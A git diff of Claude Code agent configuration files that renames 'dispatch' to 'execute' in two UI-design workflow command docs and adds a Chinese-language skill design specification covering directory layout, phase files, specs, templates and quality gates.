 ## AGENT CONFIGURATION REFERENCE
-All test task generation rules, schemas, and quality standards are defined in your agent specification:
-@.claude/agents/action-planning-agent.md
 
 Refer to your specification for:
 - Test Task JSON Schema (6-field structure with test-specific metadata)

.claude/commands/workflow/ui-design/explore-auto.md

@@ -27,8 +27,8 @@ allowed-tools: SlashCommand(*), TodoWrite(*), Read(*), Bash(*), Glob(*), Write(*
 6. **Phase 10 (ui-assembly)** → **Attach tasks → Execute → Collapse** → Workflow complete
 
 **Phase Transition Mechanism**:
-- **Phase 5 (User Interaction)**: User confirms targets → IMMEDIATELY dispatches Phase 7
-- **Phase 7-10 (Autonomous)**: SlashCommand dispatch **ATTACHES** tasks to current workflow
+- **Phase 5 (User Interaction)**: User confirms targets → IMMEDIATELY executes Phase 7
+- **Phase 7-10 (Autonomous)**: SlashCommand execute **ATTACHES** tasks to current workflow
 - **Task Execution**: Orchestrator **EXECUTES** these attached tasks itself
 - **Task Collapse**: After tasks complete, collapse them into phase summary
 - **Phase Transition**: Automatically execute next phase after collapsing
@@ -36,7 +36,7 @@ allowed-tools: SlashCommand(*), TodoWrite(*), Read(*), Bash(*), Glob(*), Write(*
 
 **Auto-Continue Mechanism**: TodoWrite tracks phase status with dynamic task attachment/collapse. After executing all attached tasks, you MUST immediately collapse them, restore phase summary, and execute the next phase. No user intervention required. The workflow is NOT complete until Phase 10 (UI assembly) finishes.
 
-**Task Attachment Model**: SlashCommand dispatch is NOT delegation - it's task expansion. The orchestrator executes these attached tasks itself, not waiting for external completion.
+**Task Attachment Model**: SlashCommand execute is NOT delegation - it's task expansion. The orchestrator executes these attached tasks itself, not waiting for external completion.
 
 **Target Type Detection**: Automatically inferred from prompt/targets, or explicitly set via `--target-type`.
 
@@ -63,26 +63,26 @@ Phase 5: Unified Target Inference
 
 Phase 6: Code Import (Conditional)
    └─ Decision (design_source):
-      ├─ code_only | hybrid → Dispatch /workflow:ui-design:import-from-code
+      ├─ code_only | hybrid → Execute /workflow:ui-design:import-from-code
       └─ visual_only → Skip to Phase 7
 
 Phase 7: Style Extraction
    └─ Decision (needs_visual_supplement):
-      ├─ visual_only OR supplement needed → Dispatch /workflow:ui-design:style-extract
+      ├─ visual_only OR supplement needed → Execute /workflow:ui-design:style-extract
       └─ code_only AND style_complete → Use code import
 
 Phase 8: Animation Extraction
    └─ Decision (should_extract_animation):
-      ├─ visual_only OR incomplete OR regenerate → Dispatch /workflow:ui-design:animation-extract
+      ├─ visual_only OR incomplete OR regenerate → Execute /workflow:ui-design:animation-extract
       └─ code_only AND animation_complete → Use code import
 
 Phase 9: Layout Extraction
    └─ Decision (needs_visual_supplement OR NOT layout_complete):
-      ├─ True → Dispatch /workflow:ui-design:layout-extract
+      ├─ True → Execute /workflow:ui-design:layout-extract
       └─ False → Use code import
 
 Phase 10: UI Assembly
-   └─ Dispatch /workflow:ui-design:generate → Workflow complete
+   └─ Execute /workflow:ui-design:generate → Workflow complete
 ```
 
 ## Core Rules
@@ -92,7 +92,7 @@ Phase 10: UI Assembly
 3. **Parse & Pass**: Extract data from each output for next phase
 4. **Default to All**: When selecting variants/prototypes, use ALL generated items
 5. **Track Progress**: Update TodoWrite dynamically with task attachment/collapse pattern
-6. **⚠️ CRITICAL: Task Attachment Model** - SlashCommand dispatch **ATTACHES** tasks to current workflow. Orchestrator **EXECUTES** these attached tasks itself, not waiting for external completion. This is NOT delegation - it's task expansion.
+6. **⚠️ CRITICAL: Task Attachment Model** - SlashCommand execute **ATTACHES** tasks to current workflow. Orchestrator **EXECUTES** these attached tasks itself, not waiting for external completion. This is NOT delegation - it's task expansion.
 7. **⚠️ CRITICAL: DO NOT STOP** - This is a continuous multi-phase workflow. After executing all attached tasks, you MUST immediately collapse them and execute the next phase. Workflow is NOT complete until Phase 10 (UI assembly) finishes.
 
 ## Parameter Requirements
@@ -356,7 +356,7 @@ detect_target_type(target_list):
 
 ### Phase 6: Code Import & Completeness Assessment (Conditional)
 
-**Step 6.1: Dispatch** - Import design system from code files
+**Step 6.1: Execute** - Import design system from code files
 
 ```javascript
 IF design_source IN ["code_only", "hybrid"]:
@@ -364,7 +364,7 @@ IF design_source IN ["code_only", "hybrid"]:
     command = "/workflow:ui-design:import-from-code --design-id \"{design_id}\" --source \"{code_base_path}\""
 
     TRY:
-        # SlashCommand dispatch ATTACHES import-from-code's tasks to current workflow
+        # SlashCommand execute ATTACHES import-from-code's tasks to current workflow
         # Orchestrator will EXECUTE these attached tasks itself:
         #   - Phase 0: Discover and categorize code files
         #   - Phase 1.1-1.3: Style/Animation/Layout Agent extraction
@@ -469,7 +469,7 @@ IF design_source IN ["code_only", "hybrid"]:
 
 ### Phase 7: Style Extraction
 
-**Step 7.1: Dispatch** - Extract style design systems
+**Step 7.1: Execute** - Extract style design systems
 
 ```javascript
 IF design_source == "visual_only" OR needs_visual_supplement:
@@ -479,7 +479,7 @@ IF design_source == "visual_only" OR needs_visual_supplement:
               (prompt_text ? "--prompt \"{prompt_text}\" " : "") +
               "--variants {style_variants} --interactive"
 
-    # SlashCommand dispatch ATTACHES style-extract's tasks to current workflow
+    # SlashCommand execute ATTACHES style-extract's tasks to current workflow
     # Orchestrator will EXECUTE these attached tasks itself
     SlashCommand(command)
 
@@ -490,7 +490,7 @@ ELSE:
 
 ### Phase 8: Animation Extraction
 
-**Step 8.1: Dispatch** - Extract animation patterns
+**Step 8.1: Execute** - Extract animation patterns
 
 ```javascript
 # Determine if animation extraction is needed
@@ -522,7 +522,7 @@ IF should_extract_animation:
 
     command = " ".join(command_parts)
 
-    # SlashCommand dispatch ATTACHES animation-extract's tasks to current workflow
+    # SlashCommand execute ATTACHES animation-extract's tasks to current workflow
     # Orchestrator will EXECUTE these attached tasks itself
     SlashCommand(command)
 
@@ -536,7 +536,7 @@ ELSE:
 
 ### Phase 9: Layout Extraction
 
-**Step 9.1: Dispatch** - Extract layout templates
+**Step 9.1: Execute** - Extract layout templates
 
 ```javascript
 targets_string = ",".join(inferred_target_list)
@@ -548,7 +548,7 @@ IF (design_source == "visual_only" OR needs_visual_supplement) OR (NOT layout_co
               (prompt_text ? "--prompt \"{prompt_text}\" " : "") +
               "--targets \"{targets_string}\" --variants {layout_variants} --device-type \"{device_type}\" --interactive"
 
-    # SlashCommand dispatch ATTACHES layout-extract's tasks to current workflow
+    # SlashCommand execute ATTACHES layout-extract's tasks to current workflow
     # Orchestrator will EXECUTE these attached tasks itself
     SlashCommand(command)
 
@@ -559,7 +559,7 @@ ELSE:
 
 ### Phase 10: UI Assembly
 
-**Step 10.1: Dispatch** - Assemble UI prototypes from design tokens and layout templates
+**Step 10.1: Execute** - Assemble UI prototypes from design tokens and layout templates
 
 ```javascript
 command = "/workflow:ui-design:generate --design-id \"{design_id}\"" + (--session ? " --session {session_id}" : "")
@@ -571,7 +571,7 @@ REPORT: "   → Pure assembly: Combining layout templates + design tokens"
 REPORT: "   → Device: {device_type} (from layout templates)"
 REPORT: "   → Assembly tasks: {total} combinations"
 
-# SlashCommand dispatch ATTACHES generate's tasks to current workflow
+# SlashCommand execute ATTACHES generate's tasks to current workflow
 # Orchestrator will EXECUTE these attached tasks itself
 SlashCommand(command)
 
@@ -596,10 +596,10 @@ TodoWrite({todos: [
 
 // ⚠️ CRITICAL: Dynamic TodoWrite task attachment strategy:
 //
-// **Key Concept**: SlashCommand dispatch ATTACHES tasks to current workflow.
+// **Key Concept**: SlashCommand execute ATTACHES tasks to current workflow.
 // Orchestrator EXECUTES these attached tasks itself, not waiting for external completion.
 //
-// Phase 7-10 SlashCommand Dispatch Pattern (when tasks are attached):
+// Phase 7-10 SlashCommand Execute Pattern (when tasks are attached):
 // Example - Phase 7 with sub-tasks:
 // [
 //   {"content": "Phase 7: Style Extraction", "status": "in_progress", "activeForm": "Executing style extraction"},

.claude/commands/workflow/ui-design/imitate-auto.md

@@ -26,7 +26,7 @@ allowed-tools: SlashCommand(*), TodoWrite(*), Read(*), Write(*), Bash(*)
 7. Phase 4: Design system integration → **Execute orchestrator task** → Reports completion
 
 **Phase Transition Mechanism**:
-- **Task Attachment**: SlashCommand dispatch **ATTACHES** tasks to current workflow
+- **Task Attachment**: SlashCommand execute **ATTACHES** tasks to current workflow
 - **Task Execution**: Orchestrator **EXECUTES** these attached tasks itself
 - **Task Collapse**: After tasks complete, collapse them into phase summary
 - **Phase Transition**: Automatically execute next phase after collapsing
@@ -34,7 +34,7 @@ allowed-tools: SlashCommand(*), TodoWrite(*), Read(*), Write(*), Bash(*)
 
 **Auto-Continue Mechanism**: TodoWrite tracks phase status with dynamic task attachment/collapse. After executing all attached tasks, you MUST immediately collapse them, restore phase summary, and execute the next phase. No user intervention required. The workflow is NOT complete until reaching Phase 4.
 
-**Task Attachment Model**: SlashCommand dispatch is NOT delegation - it's task expansion. The orchestrator executes these attached tasks itself, not waiting for external completion.
+**Task Attachment Model**: SlashCommand execute is NOT delegation - it's task expansion. The orchestrator executes these attached tasks itself, not waiting for external completion.
 
 ## Execution Process
 
@@ -53,30 +53,30 @@ Phase 0: Parameter Parsing & Input Detection
 
 Phase 0.5: Code Import (Conditional)
    └─ Decision (design_source):
-      ├─ hybrid → Dispatch /workflow:ui-design:import-from-code
+      ├─ hybrid → Execute /workflow:ui-design:import-from-code
       └─ Other → Skip to Phase 2
 
 Phase 2: Style Extraction
    └─ Decision (skip_style):
       ├─ code_only AND style_complete → Use code import
-      └─ Otherwise → Dispatch /workflow:ui-design:style-extract
+      └─ Otherwise → Execute /workflow:ui-design:style-extract
 
 Phase 2.3: Animation Extraction
    └─ Decision (skip_animation):
       ├─ code_only AND animation_complete → Use code import
-      └─ Otherwise → Dispatch /workflow:ui-design:animation-extract
+      └─ Otherwise → Execute /workflow:ui-design:animation-extract
 
 Phase 2.5: Layout Extraction
    └─ Decision (skip_layout):
       ├─ code_only AND layout_complete → Use code import
-      └─ Otherwise → Dispatch /workflow:ui-design:layout-extract
+      └─ Otherwise → Execute /workflow:ui-design:layout-extract
 
 Phase 3: UI Assembly
-   └─ Dispatch /workflow:ui-design:generate
+   └─ Execute /workflow:ui-design:generate
 
 Phase 4: Design System Integration
    └─ Decision (session_id):
-      ├─ Provided → Dispatch /workflow:ui-design:update
+      ├─ Provided → Execute /workflow:ui-design:update
       └─ Not provided → Standalone completion
 ```
 
@@ -86,7 +86,7 @@ Phase 4: Design System Integration
 2. **No Preliminary Validation**: Sub-commands handle their own validation
 3. **Parse & Pass**: Extract data from each output for next phase
 4. **Track Progress**: Update TodoWrite dynamically with task attachment/collapse pattern
-5. **⚠️ CRITICAL: Task Attachment Model** - SlashCommand dispatch **ATTACHES** tasks to current workflow. Orchestrator **EXECUTES** these attached tasks itself, not waiting for external completion. This is NOT delegation - it's task expansion.
+5. **⚠️ CRITICAL: Task Attachment Model** - SlashCommand execute **ATTACHES** tasks to current workflow. Orchestrator **EXECUTES** these attached tasks itself, not waiting for external completion. This is NOT delegation - it's task expansion.
 6. **⚠️ CRITICAL: DO NOT STOP** - This is a continuous multi-phase workflow. After executing all attached tasks, you MUST immediately collapse them and execute the next phase. Workflow is NOT complete until Phase 4.
 
 ## Parameter Requirements
@@ -276,7 +276,7 @@ TodoWrite({todos: [
 
 ### Phase 0.5: Code Import & Completeness Assessment (Conditional)
 
-**Step 0.5.1: Dispatch** - Import design system from code files
+**Step 0.5.1: Execute** - Import design system from code files
 
 ```javascript
 # Only execute if code files detected
@@ -291,7 +291,7 @@ IF design_source == "hybrid":
               "--source \"{code_base_path}\""
 
     TRY:
-        # SlashCommand dispatch ATTACHES import-from-code's tasks to current workflow
+        # SlashCommand execute ATTACHES import-from-code's tasks to current workflow
         # Orchestrator will EXECUTE these attached tasks itself:
         #   - Phase 0: Discover and categorize code files
         #   - Phase 1.1-1.3: Style/Animation/Layout Agent extraction
@@ -382,7 +382,7 @@ TodoWrite(mark_completed: "Initialize and detect design source",
 
 ### Phase 2: Style Extraction
 
-**Step 2.1: Dispatch** - Extract style design system
+**Step 2.1: Execute** - Extract style design system
 
 ```javascript
 # Determine if style extraction needed
@@ -409,7 +409,7 @@ ELSE:
 
     extract_command = " ".join(command_parts)
 
-    # SlashCommand dispatch ATTACHES style-extract's tasks to current workflow
+    # SlashCommand execute ATTACHES style-extract's tasks to current workflow
     # Orchestrator will EXECUTE these attached tasks itself
     SlashCommand(extract_command)
 
@@ -419,7 +419,7 @@ ELSE:
 
 ### Phase 2.3: Animation Extraction
 
-**Step 2.3.1: Dispatch** - Extract animation patterns
+**Step 2.3.1: Execute** - Extract animation patterns
 
 ```javascript
 skip_animation = (design_source == "code_only" AND animation_complete)
@@ -442,7 +442,7 @@ ELSE:
 
     animation_extract_command = " ".join(command_parts)
 
-    # SlashCommand dispatch ATTACHES animation-extract's tasks to current workflow
+    # SlashCommand execute ATTACHES animation-extract's tasks to current workflow
     # Orchestrator will EXECUTE these attached tasks itself
     SlashCommand(animation_extract_command)
 
@@ -452,7 +452,7 @@ ELSE:
 
 ### Phase 2.5: Layout Extraction
 
-**Step 2.5.1: Dispatch** - Extract layout templates
+**Step 2.5.1: Execute** - Extract layout templates
 
 ```javascript
 skip_layout = (design_source == "code_only" AND layout_complete)
@@ -477,7 +477,7 @@ ELSE:
 
     layout_extract_command = " ".join(command_parts)
 
-    # SlashCommand dispatch ATTACHES layout-extract's tasks to current workflow
+    # SlashCommand execute ATTACHES layout-extract's tasks to current workflow
     # Orchestrator will EXECUTE these attached tasks itself
     SlashCommand(layout_extract_command)
 
@@ -487,13 +487,13 @@ ELSE:
 
 ### Phase 3: UI Assembly
 
-**Step 3.1: Dispatch** - Assemble UI prototypes from design tokens and layout templates
+**Step 3.1: Execute** - Assemble UI prototypes from design tokens and layout templates
 
 ```javascript
 REPORT: "🚀 Phase 3: UI Assembly"
 generate_command = f"/workflow:ui-design:generate --design-id \"{design_id}\""
 
-# SlashCommand dispatch ATTACHES generate's tasks to current workflow
+# SlashCommand execute ATTACHES generate's tasks to current workflow
 # Orchestrator will EXECUTE these attached tasks itself
 SlashCommand(generate_command)
 
@@ -503,14 +503,14 @@ TodoWrite(mark_completed: "Assemble UI", mark_in_progress: session_id ? "Integra
 
 ### Phase 4: Design System Integration
 
-**Step 4.1: Dispatch** - Integrate design system into workflow session
+**Step 4.1: Execute** - Integrate design system into workflow session
 
 ```javascript
 IF session_id:
     REPORT: "🚀 Phase 4: Design System Integration"
     update_command = f"/workflow:ui-design:update --session {session_id}"
 
-    # SlashCommand dispatch ATTACHES update's tasks to current workflow
+    # SlashCommand execute ATTACHES update's tasks to current workflow
     # Orchestrator will EXECUTE these attached tasks itself
     SlashCommand(update_command)
 
@@ -636,10 +636,10 @@ TodoWrite({todos: [
 
 // ⚠️ CRITICAL: Dynamic TodoWrite task attachment strategy:
 //
-// **Key Concept**: SlashCommand dispatch ATTACHES tasks to current workflow.
+// **Key Concept**: SlashCommand execute ATTACHES tasks to current workflow.
 // Orchestrator EXECUTES these attached tasks itself, not waiting for external completion.
 //
-// Phase 2-4 SlashCommand Dispatch Pattern (when tasks are attached):
+// Phase 2-4 SlashCommand Execute Pattern (when tasks are attached):
 // Example - Phase 2 with sub-tasks:
 // [
 //   {"content": "Phase 0: Initialize and Detect Design Source", "status": "completed", "activeForm": "Initializing"},
@@ -702,7 +702,7 @@ TodoWrite({todos: [
 
 - **Input**: `--images` (glob pattern) and/or `--prompt` (text/file paths) + optional `--session`
 - **Output**: Complete design system in `{base_path}/` (style-extraction, layout-extraction, prototypes)
-- **Sub-commands Dispatched**:
+- **Sub-commands Executeed**:
   1. `/workflow:ui-design:import-from-code` (Phase 0.5, conditional - if code files detected)
   2. `/workflow:ui-design:style-extract` (Phase 2 - complete design systems)
   3. `/workflow:ui-design:animation-extract` (Phase 2.3 - animation tokens)

.claude/skills/_shared/SKILL-DESIGN-SPEC.md

@@ -0,0 +1,693 @@
+# Skill 设计规范 v1.0
+
+> 基于 `software-manual` 和 `copyright-docs` 两个成熟 Skill 的设计模式提炼
+
+---
+
+## 目录
+
+1. [设计理念](#1-设计理念)
+2. [目录结构规范](#2-目录结构规范)
+3. [核心组件定义](#3-核心组件定义)
+4. [SKILL.md 入口规范](#4-skillmd-入口规范)
+5. [Phase 阶段设计规范](#5-phase-阶段设计规范)
+6. [Specs 规范文件设计](#6-specs-规范文件设计)
+7. [Templates 模板设计](#7-templates-模板设计)
+8. [Scripts 脚本规范](#8-scripts-脚本规范)
+9. [Prompt 工程规范](#9-prompt-工程规范)
+10. [质量控制规范](#10-质量控制规范)
+11. [最佳实践清单](#11-最佳实践清单)
+12. [示例模板](#12-示例模板)
+
+---
+
+## 1. 设计理念
+
+### 1.1 核心原则
+
+| 原则 | 说明 | 实践 |
+|------|------|------|
+| **阶段化执行** | 复杂任务分解为有序阶段 | 使用 `phases/` 目录，数字前缀控制顺序 |
+| **关注点分离** | 逻辑、配置、视图分离 | `phases/`(逻辑) + `specs/`(配置) + `templates/`(视图) |
+| **简要返回** | Agent 返回路径+摘要，避免上下文溢出 | 返回 JSON 简要信息，文件存储完整内容 |
+| **配置驱动** | 规范作为"配置文件"，易于调整行为 | 修改 `specs/` 无需触及 `phases/` |
+| **模板复用** | 提取通用片段，确保一致性 | `templates/` 存放可复用内容 |
+
+### 1.2 架构模式
+
+```
+┌─────────────────────────────────────────────────────────────────┐
+│  Context-Optimized Architecture                                  │
+├─────────────────────────────────────────────────────────────────┤
+│                                                                  │
+│  SKILL.md (入口)  →  描述目标、定义阶段、链接资源                 │
+│       ↓                                                          │
+│  Phase 1: 收集    →  用户输入 + 自动检测 → config.json            │
+│       ↓                                                          │
+│  Phase 2: 分析    →  并行 Agent → sections/*.md                  │
+│       ↓                                                          │
+│  Phase N: 汇总    →  交叉检查 → summary.md                       │
+│       ↓                                                          │
+│  Phase N+1: 组装  →  合并文件 → 最终产物                          │
+│       ↓                                                          │
+│  Phase N+2: 迭代  →  用户反馈 → 优化                              │
+│                                                                  │
+└─────────────────────────────────────────────────────────────────┘
+```
+
+---
+
+## 2. 目录结构规范
+
+### 2.1 标准目录结构
+
+```
+[skill-name]/
+├── SKILL.md                     # 【必需】技能入口：元数据 + 架构 + 执行流程
+├── phases/                      # 【必需】执行阶段 Prompt
+│   ├── 01-{first-step}.md       #   数字前缀定义顺序
+│   ├── 02-{second-step}.md
+│   ├── 02.5-{sub-step}.md       #   小数点用于插入子步骤
+│   └── ...
+├── specs/                       # 【必需】规范与约束
+│   ├── {domain}-requirements.md #   领域特定要求
+│   ├── quality-standards.md     #   质量标准
+│   └── writing-style.md         #   写作风格（如适用）
+├── templates/                   # 【推荐】可复用模板
+│   ├── agent-base.md            #   Agent 基础 Prompt 模板
+│   ├── output-shell.{ext}       #   输出外壳模板（html/md）
+│   └── css/                     #   样式文件（如适用）
+├── scripts/                     # 【可选】辅助脚本
+│   ├── {tool}.py                #   Python 脚本
+│   └── {tool}-runner.md         #   脚本使用说明
+└── outputs/                     # 【运行时】执行产物（不纳入版本控制）
+```
+
+### 2.2 命名约定
+
+| 类型 | 规则 | 示例 |
+|------|------|------|
+| Skill 目录 | 小写-连字符 | `software-manual`, `copyright-docs` |
+| Phase 文件 | `NN-{动作}.md` | `01-metadata-collection.md` |
+| Spec 文件 | `{领域}-{类型}.md` | `cpcc-requirements.md` |
+| Template 文件 | `{用途}-{类型}.{ext}` | `agent-base.md`, `tiddlywiki-shell.html` |
+| 输出文件 | `section-{N}-{名称}.md` | `section-2-architecture.md` |
+
+---
+
+## 3. 核心组件定义
+
+### 3.1 组件职责矩阵
+
+| 组件 | 职责 | 内容类型 | 修改频率 |
+|------|------|----------|----------|
+| `SKILL.md` | 入口 + 编排 | 元数据、架构图、执行流程 | 低（结构稳定） |
+| `phases/*.md` | 执行逻辑 | 步骤说明、Prompt、代码示例 | 中（优化迭代） |
+| `specs/*.md` | 约束配置 | 规则、标准、检查清单 | 中（需求变更） |
+| `templates/*` | 可复用片段 | Prompt 模板、输出格式 | 低（通用稳定） |
+| `scripts/*` | 自动化 | Python/JS 脚本 | 高（功能增强） |
+
+### 3.2 组件依赖关系
+
+```mermaid
+graph TD
+    SKILL[SKILL.md] --> P1[phases/01-*]
+    P1 --> P2[phases/02-*]
+    P2 --> PN[phases/N-*]
+    
+    P1 -.->|引用| SPEC[specs/*]
+    P2 -.->|引用| SPEC
+    PN -.->|引用| SPEC
+    
+    P1 -.->|使用| TPL[templates/*]
+    PN -.->|使用| TPL
+    
+    P2 -->|调用| SCR[scripts/*]
+    
+    style SKILL fill:#e1f5fe
+    style SPEC fill:#fff3e0
+    style TPL fill:#e8f5e9
+    style SCR fill:#fce4ec
+```
+
+---
+
+## 4. SKILL.md 入口规范
+
+### 4.1 必需结构
+
+```markdown
+---
+name: {skill-name}
+description: {一句话描述}. {触发关键词}. Triggers on "{关键词1}", "{关键词2}".
+allowed-tools: Task, AskUserQuestion, Read, Bash, Glob, Grep, Write, {其他MCP工具}
+---
+
+# {Skill 标题}
+
+{一段话描述 Skill 的用途和产出}
+
+## Architecture Overview
+
+{ASCII 或 Mermaid 架构图}
+
+## Key Design Principles
+
+1. **原则1**: 说明
+2. **原则2**: 说明
+...
+
+## Execution Flow
+
+{阶段执行流程图}
+
+## Agent Configuration (如适用)
+
+| Agent | Role | Output File | Focus Areas |
+|-------|------|-------------|-------------|
+| ... | ... | ... | ... |
+
+## Directory Setup
+
+{工作目录创建代码}
+
+## Output Structure
+
+{输出目录结构}
+
+## Reference Documents
+
+| Document | Purpose |
+|----------|---------|
+| [phases/01-xxx.md](phases/01-xxx.md) | ... |
+| ... | ... |
+```
+
+### 4.2 Front Matter 规范
+
+```yaml
+---
+name: skill-name              # 必需：Skill 唯一标识
+description: |                # 必需：描述 + 触发词
+  Generate XXX documents. 
+  Triggers on "keyword1", "keyword2".
+allowed-tools: |              # 必需：允许使用的工具
+  Task, AskUserQuestion, Read, Bash, 
+  Glob, Grep, Write, mcp__chrome__*
+---
+```
+
+---
+
+## 5. Phase 阶段设计规范
+
+### 5.1 Phase 文件结构
+
+```markdown
+# Phase N: {阶段名称}
+
+{一句话描述此阶段目标}
+
+## Objective
+
+{详细目标说明}
+- 目标1
+- 目标2
+
+## Execution Steps
+
+### Step 1: {步骤名称}
+
+{代码或说明}
+
+### Step 2: {步骤名称}
+
+{代码或说明}
+
+## Output
+
+- **File**: `{输出文件名}`
+- **Location**: `{输出路径}`
+- **Format**: {JSON/Markdown/HTML}
+
+## Next Phase
+
+Proceed to [Phase N+1: xxx](0N+1-xxx.md) with the generated {产出}.
+```
+
+### 5.2 Phase 类型
+
+| 类型 | 特点 | 示例 |
+|------|------|------|
+| **收集型** | 用户交互 + 自动检测 | `01-requirements-discovery.md` |
+| **探索型** | 代码分析 + 结构识别 | `02-project-exploration.md` |
+| **并行型** | 多 Agent 并行执行 | `03-parallel-analysis.md` |
+| **汇总型** | 交叉检查 + 质量验证 | `03.5-consolidation.md` |
+| **组装型** | 合并产出 + 格式化 | `04-document-assembly.md` |
+| **迭代型** | 用户反馈 + 优化 | `05-iterative-refinement.md` |
+
+### 5.3 Phase 编号规则
+
+```
+01-xxx.md      # 主阶段
+02-xxx.md      # 主阶段
+02.5-xxx.md    # 子阶段（插入 02 和 03 之间）
+03-xxx.md      # 主阶段
+```
+
+---
+
+## 6. Specs 规范文件设计
+
+### 6.1 Specs 类型
+
+| 类型 | 用途 | 示例 |
+|------|------|------|
+| **领域要求** | 领域特定合规性 | `cpcc-requirements.md` |
+| **质量标准** | 输出质量评估 | `quality-standards.md` |
+| **写作风格** | 内容风格指南 | `writing-style.md` |
+| **模板规范** | 输出格式定义 | `html-template.md` |
+
+### 6.2 Specs 结构模板
+
+```markdown
+# {规范名称}
+
+{规范用途说明}
+
+## When to Use
+
+| Phase | Usage | Section |
+|-------|-------|---------|
+| Phase N | {使用场景} | {引用章节} |
+| ... | ... | ... |
+
+---
+
+## Requirements
+
+### Category 1
+
+- [ ] 检查项1
+- [ ] 检查项2
+
+### Category 2
+
+| 项目 | 要求 | 检查方式 |
+|------|------|----------|
+| ... | ... | ... |
+
+## Validation Function
+
+{验证函数代码}
+
+## Error Handling
+
+| Error | Recovery |
+|-------|----------|
+| ... | ... |
+```
+
+### 6.3 质量标准示例结构
+
+```markdown
+# Quality Standards
+
+## Quality Dimensions
+
+### 1. Completeness (25%)
+{评分标准}
+
+### 2. Consistency (25%)
+{评分标准}
+
+### 3. Depth (25%)
+{评分标准}
+
+### 4. Readability (25%)
+{评分标准}
+
+## Quality Gates
+
+| Gate | Threshold | Action |
+|------|-----------|--------|
+| Pass | ≥ 80% | 继续执行 |
+| Review | 60-79% | 处理警告后继续 |
+| Fail | < 60% | 必须修复 |
+
+## Issue Classification
+
+### Errors (Must Fix)
+- ...
+
+### Warnings (Should Fix)
+- ...
+
+### Info (Nice to Have)
+- ...
+```
+
+---
+
+## 7. Templates 模板设计
+
+### 7.1 Agent 基础模板
+
+```markdown
+# Agent Base Template
+
+## 通用提示词结构
+
+[ROLE] 你是{角色}，专注于{职责}。
+
+[TASK]
+{任务描述}
+- 输出: {output_path}
+- 格式: {format}
+- 范围: {scope}
+
+[CONSTRAINTS]
+- 约束1
+- 约束2
+
+[OUTPUT_FORMAT]
+1. 直接写入文件
+2. 返回 JSON 简要信息
+
+[QUALITY_CHECKLIST]
+- [ ] 检查项1
+- [ ] 检查项2
+
+## 变量说明
+
+| 变量 | 来源 | 示例 |
+|------|------|------|
+| {output_dir} | Phase 1 | .workflow/.scratchpad/xxx |
+| ... | ... | ... |
+
+## Agent 配置映射
+
+{AGENT_ROLES, AGENT_SECTIONS, AGENT_FILES, AGENT_FOCUS}
+```
+
+### 7.2 输出模板规范
+
+```html
+<!-- output-shell.html 示例 -->
+<!DOCTYPE html>
+<html>
+<head>
+    <meta charset="UTF-8">
+    <title>{{title}}</title>
+    <style>
+        /* 内嵌 CSS */
+        {{styles}}
+    </style>
+</head>
+<body>
+    <div id="app">
+        {{content}}
+    </div>
+    <script>
+        /* 内嵌 JS */
+        {{scripts}}
+    </script>
+</body>
+</html>
+```
+
+### 7.3 占位符规范
+
+| 占位符格式 | 用途 | 示例 |
+|------------|------|------|
+| `{{variable}}` | 简单变量替换 | `{{title}}` |
+| `${variable}` | JavaScript 模板字符串 | `${workDir}` |
+| `{placeholder}` | Prompt 占位 | `{intro}`, `{diagram}` |
+
+---
+
+## 8. Scripts 脚本规范
+
+### 8.1 脚本类型
+
+| 类型 | 用途 | 命名 |
+|------|------|------|
+| **提取器** | 从代码提取信息 | `extract_*.py` |
+| **组装器** | 合并/转换文件 | `assemble_*.py` |
+| **验证器** | 检查合规性 | `validate_*.py` |
+| **辅助器** | 工具函数 | `*_helper.py` |
+
+### 8.2 脚本使用说明文件
+
+每个脚本应有对应的 `.md` 说明文件：
+
+```markdown
+# {Script Name} Runner
+
+## Purpose
+
+{脚本用途}
+
+## Usage
+
+{命令行使用方式}
+
+## Parameters
+
+| 参数 | 说明 | 默认值 |
+|------|------|--------|
+| ... | ... | ... |
+
+## Output
+
+{输出说明}
+
+## Example
+
+{使用示例}
+```
+
+---
+
+## 9. Prompt 工程规范
+
+### 9.1 Prompt 结构标准
+
+```
+[ROLE] {角色定义}
+
+[PROJECT CONTEXT]
+项目类型: {type}
+语言: {language}
+名称: {name}
+
+[TASK]
+{任务描述}
+输出: {output_path}
+
+[INPUT]
+- 配置: {config_path}
+- 扫描路径: {scan_paths}
+
+[CONTENT REQUIREMENTS]
+- 标题层级: # ## ### (最多3级)
+- 代码块: ```language ... ``` (必须标注语言)
+- 表格: | col1 | col2 | 格式
+- 列表: 有序 1. 2. 3. / 无序 - - -
+
+[FOCUS]
+{重点关注项}
+
+[OUTPUT FORMAT]
+{输出格式说明}
+
+[RETURN JSON]
+{返回结构}
+```
+
+### 9.2 效率优化原则
+
+| 原则 | Before (冗余) | After (精简) |
+|------|---------------|--------------|
+| **角色简化** | "你是一个专业的系统架构师，具有丰富的软件设计经验..." | `[ROLE] 系统架构师，专注于分层设计和模块依赖` |
+| **模板驱动** | "请按照以下格式输出: 首先写一个二级标题..." | `[TEMPLATE] ## 2. 标题 {content}` |
+| **焦点明确** | "分析项目的各个方面，包括架构、模块、依赖等" | `[FOCUS] 1. 分层 2. 模块 3. 依赖 4. 数据流` |
+| **返回简洁** | "请返回详细的分析结果，包括所有发现的问题..." | `[RETURN] {"status":"completed","output_file":"xxx.md","summary":"<50字"}` |
+
+### 9.3 Agent 返回格式标准
+
+```typescript
+interface AgentReturn {
+  status: "completed" | "partial" | "failed";
+  output_file: string;           // 输出文件路径
+  summary: string;               // 最多 50 字摘要
+  cross_module_notes?: string[]; // 跨模块备注
+  stats?: {                      // 统计信息
+    diagrams?: number;
+    words?: number;
+  };
+  screenshots_needed?: Array<{   // 截图需求（如适用）
+    id: string;
+    url: string;
+    description: string;
+  }>;
+}
+```
+
+---
+
+## 10. 质量控制规范
+
+### 10.1 质量维度
+
+| 维度 | 权重 | 检查项 |
+|------|------|--------|
+| **完整性** | 25% | 所有必需章节存在且有实质内容 |
+| **一致性** | 25% | 术语、格式、风格统一 |
+| **深度** | 25% | 内容详尽、示例充分 |
+| **可读性** | 25% | 结构清晰、语言简洁 |
+
+### 10.2 质量门控
+
+```javascript
+const QUALITY_GATES = {
+  pass: { threshold: 80, action: "继续执行" },
+  review: { threshold: 60, action: "处理警告后继续" },
+  fail: { threshold: 0, action: "必须修复后重试" }
+};
+```
+
+### 10.3 问题分类
+
+| 级别 | 前缀 | 含义 | 处理方式 |
+|------|------|------|----------|
+| **Error** | E | 阻塞性问题 | 必须修复 |
+| **Warning** | W | 影响质量 | 建议修复 |
+| **Info** | I | 可改进项 | 可选修复 |
+
+### 10.4 自动化检查函数模板
+
+```javascript
+function runQualityChecks(workDir) {
